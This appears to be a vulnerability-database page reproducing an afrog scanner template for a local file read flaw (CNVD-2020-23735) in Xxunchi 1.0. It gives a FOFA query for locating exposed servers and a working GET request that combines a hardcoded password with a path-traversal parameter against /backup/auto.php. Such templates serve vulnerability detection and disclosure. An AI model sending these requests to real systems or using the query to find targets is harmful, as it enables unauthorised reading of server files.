CNVD-2020-23735: Xxunchi Local File read

2025-08-01 Xxunchi PoC Public

Description

Xxunchi 1.0存在本地文件读取漏洞。该漏洞源于系统未对用户输入进行过滤，攻击者可通过构造恶意请求获取服务器上的任意文件。

FOFA：body="/backup/auto.php"

PoC

id: CNVD-2020-23735

info:
  name: Xxunchi Local File read
  author: 清风明月
  severity: high
  verified: true
  description: |
    Xxunchi 1.0存在本地文件读取漏洞。该漏洞源于系统未对用户输入进行过滤，攻击者可通过构造恶意请求获取服务器上的任意文件。
    FOFA：body="/backup/auto.php"
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-23735
  tags: cnvd,cnvd2020,xxunchi
  created: 2020/12/15

rules:
  r0:
    request:
      method: GET
      path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
    expression: response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
expression: r0()

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CNVD/2020/CNVD-2020-23735.yaml

References

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